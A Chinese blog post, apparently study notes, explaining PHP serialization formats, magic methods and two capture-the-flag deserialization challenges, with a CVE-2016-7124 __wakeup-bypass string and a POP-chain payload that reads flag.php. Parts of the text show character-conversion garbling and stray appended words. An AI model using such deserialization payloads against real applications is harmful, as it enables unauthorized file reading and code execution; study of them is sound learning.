浅谈PHP序列化与反序列化

基础知识

如今咱们都会在淘宝上买桌子,这时候通常都会把它拆掉成板子,再装到箱子里面,就能够快递寄出去了,这个过程就相似咱们的序列化的过程(把数据转化为能够存储或者传输的形式)。当买家收到货后,就须要本身把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。php

也就是说,序列化的目的是方便传输和存储。html

在PHP应用中,序列化和反序列化通常用作缓存,好比session,cookie等。c++

  • PHP序列化:php为了方便进行数据的传输,容许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。数组

  • PHP反序列化:将被压缩为字符串的复杂数据结构,从新恢复,使用unserialize()函数。缓存

  • PHP反序列化漏洞:若是代码中使用了反序列化 unserialize()函数,而且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么能够经过在本地构造序列化字符串,同时利用PHP中的一系列magic方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。cookie

序列化格式

<?php

$str='Theoyu';
$bool=true;
$null=NULL;
$arr=array('a'=>1,'b'=>2);

class A
{
    public $x;
    private $y;

    public function __construct($x,$y)
    {
        $this->x=$x;
        $this->y=$y;
    }
}

$test=new A(3,"theoyu");      
echo(serialize($str).'</br>');    //s:6:"Theoyu";
echo(serialize($bool).'</br>');   //b:1;
echo(serialize($null).'</br>');   //N;
echo(serialize($arr).'</br>');    //a:2{s:1:"a";i:1;s:1:"b";i:2;}
echo(serialize($test).'</br>');   //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";}

?>

序列化对不一样类型获得的字符串格式为:session

  • string : s:size:value;数据结构

  • Integer: i:value;函数

  • Boolean b:value;(1 or 0)ui

  • NULL N;

  • Array a:size:{key definition;value definition;······}definition 相似string or Integer

  • Object O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名:value definition······}

Magic methods

PHP16个魔术方法

PHP中把比双下划线__开头的方法称为魔术方法,这些发在达到某些条件时会自动被调用:

  1. __construct():类的构造函数,当一个类被建立时自动调用

  2. __destruct)(),类的析构函数,当一个类被销毁时自动调用

  3. __sleep(),执行serialize()进行序列化时,先会调用这个函数

  4. __wakeup(),执行unserialize()进行反序列化时,先会调用这个函数

  5. __toString(),当把一个类看成函数使用时自动调用

  6. __invoke(),当把一个类看成函数使用时自动调用

  7. __call(),在对象中调用一个不可访问方法时调用

  8. __callStatic(),用静态方式中调用一个不可访问方法时调用

  9. __get(),得到一个类的成员变量时调用

  10. __set(),设置一个类的成员变量时调用

  11. __isset(),当对不可访问属性调用isset()或empty()时调用

  12. __unset(),当对不可访问属性调用unset()时被调用。

  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。

  14. __clone(),当对象复制完成时调用

  15. __autoload(),尝试加载未定义的类

  16. __debugInfo(),打印所需调试信息

下面针对几个经常使用的魔术方法具体实现。

__construct()

相似c++的构造函数

须要指出,PHP不支持构造函数重载,因此一个类只能声明一个构造函数!

__destruct()

同上,相似c++..

__sleep()

serialize()函数会检查类中是否存在一个魔术方法__sleep(),若是存在,则该方法会优先被调用。

  • 该函数必须至少返回一个所包含对象中的变量名称
  • 没有返回的变量将不会输出。
<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函数,我被调用了,你觉得你还叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');//没有返回age
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)
?>

输出:

我是__sleep()函数,我被调用了,你觉得你还叫theoyu?
O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}

没有年龄。

__wakeup()

unserialize()前会检查是否存在__wakeup(),若是存在会优先调动。

和__sleep()相比,不须要返回数组。

<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函数,我被调用了,你觉得你还叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');
    }
    public function __wakeup()
    {
        echo"我是__wakeup()函数,你从新拥有了你的名字<br>";
        $this->name=base64_decode(base64_decode($this->name)); //这里须要两次解码,由于__sleep()调用了两次
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)."<br>";
var_dump(unserialize(serialize($person)));

?>

输出:

我是__sleep()函数,我被调用了,你觉得你还叫theoyu?
O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
我是__sleep()函数,我被调用了,你觉得你还叫theoyu?
我是__wakeup()函数,你从新拥有了你的名字
object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }

...突然发现好中二= =

__toString()
  • __toString()用于一个对象被看成字符串时应该如何回应,应该显示什么。

  • __toSrring()必须返回一个字符串。

zhegnv<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __toString()
        {
            $str="this is __toString";
            return $str;    //__toString() must return a string value
        }

    }
     $a=new A(3);
     echo $a;         //this is __toString
?>
__invoke()
  • 一个对象被看成函数调用时,__invoke()会自动被调用。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __invoke()
        {
            echo "this is __invoke";
        }

    }
     $a=new A(3);
     $a();         //this is __invoke
?>
__call()
  • 调用类不存在的函数时,__call()会被调用,保证程序正常进行。
  • 格式 function __call(\(function_name,\)arguments)
  • 第一个参数会自动接收不存在函数的函数名,第二个参数以数组方式接收不存在函数的多个参数。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;

        }
        function __call($funcion_name,$arguments)
        {
            echo"你调用的函数:".$funcion_name."(参数:";
            print_r($arguments); //数组要用print_r()
            echo ")不存在!";
        }
     }

     $a=new A(3); 
     $a->person('name','age','sex');
     //你调用的函数:person(参数:Array ( [0] => name [1] => age [2] => sex ) )不存在!
?>

反序列化漏洞

e.g.1
  • CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

  • 要求版本:PHP5<5.6.25 PHP7<7.0.10

  • index.php:

<?php
    class loudong
    {
        public $file ='index.php';
        function __destruct()
        {
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                {
                    echo"<br>";
                    show_source(dirname(__FILE__).'/'.$this->file);
                }
                else
                    die('Wrong filename');
            } 
        }
        function __wakeup()
        {
            $this->file='index.php';
        }

        function __toString()
        {
            return 'this is tostring';
        }
        

    }
    if(!isset($_GET['file']))
    {
        show_source('index.php');
    }
    else
    {
        $file=$_GET['file'];
        echo unserialize($file);
    }

?>  <!-- key in flag.php -->

分析其中的几个函数strchr('a','b'):在a中搜索字串b,搜索成功返回剩下字串,失败return false。

代码审计

  1. 提示flag在flag.php里面,咱们要想办法读到里面的内容。
  2. 在析构函数中,show_source(dirname(FILE).'/'.\(this->file)**,**dirname**返回的是文件所在文件夹的绝对路径,拼接后面的**/\)this->file,想办法看能不能把file改成flag.php.
  3. __wakeup()中,反系列化会自动调用把file置为index.php,那咱们但愿绕过这个函数。

这里须要用到CVE-2016-7124漏洞

当序列化字符串中表示对象属性个数大于真实的属性个数或值类型不匹配时会跳过__wakeup的执行.

  • 正常构造序列化对象:O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
  • 绕过:O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}//或i:8:"flag.php均可

e.g.2

一道考察多方面的题

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
        {
            $this->mod1->test2();
        }
}    
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                include"flag.php";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

如何在一个类中实例化另外一个类呢?利用类的构造函数,只要第一个类被实例化就会自动实例化咱们须要另外构造的类。

思路

  1. 要想获得flag,须要调用GetFlag类中的get_flag()函数。
  2. 在string1类能够看出,咱们须要把str1实例化为GetFlag类的对象,而后看有没有字符串能调用__toString()函数。
  3. 往上看,func类中,__invoke()函数存在字符串拼接,知足2的预期,须要把mod2实例化为string1的对象,再找找有没有把对象看成函数的地方来调用__invoke()。
  4. 在funct类中找到调用$s1()函数,只需将mod1实例化为func类的对象,再找找有没有调用不存在函数的地方。
  5. 芜湖,咱们发现Call类中test1()函数就调用了不存在的函数,咱们须要把mod1实例化为funct的对象。
  6. 最后一步!往上看!在start__gg的析构函数就调用了test1()函数,那咱们只须要把mod1实例化为__Call的对象就能够了!

最后构造!

<?php
class start_gg
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new Call();
        }
}
class Call
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new funct();
        }
}
class funct
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new func();
        }
}
class func
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new string1();
        }
}
class string1
{
        public $str1;
        public function __construct()
        {
            $this->str1 = new GetFlag();
        }
}
class GetFlag {}

$a = new start_gg();
echo serialize($a);
//O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
?>

payload serialize($a),获得flag。

参考:

突然感受本身效率很低,原本两天就能作完的,拖了快一个星期...

10月校赛的wp也还没完成

唉~

最后呢,给你们推一首曲子:ふるさとの匂い—吉森信

是《夏目友人账》曲子欸 很治愈的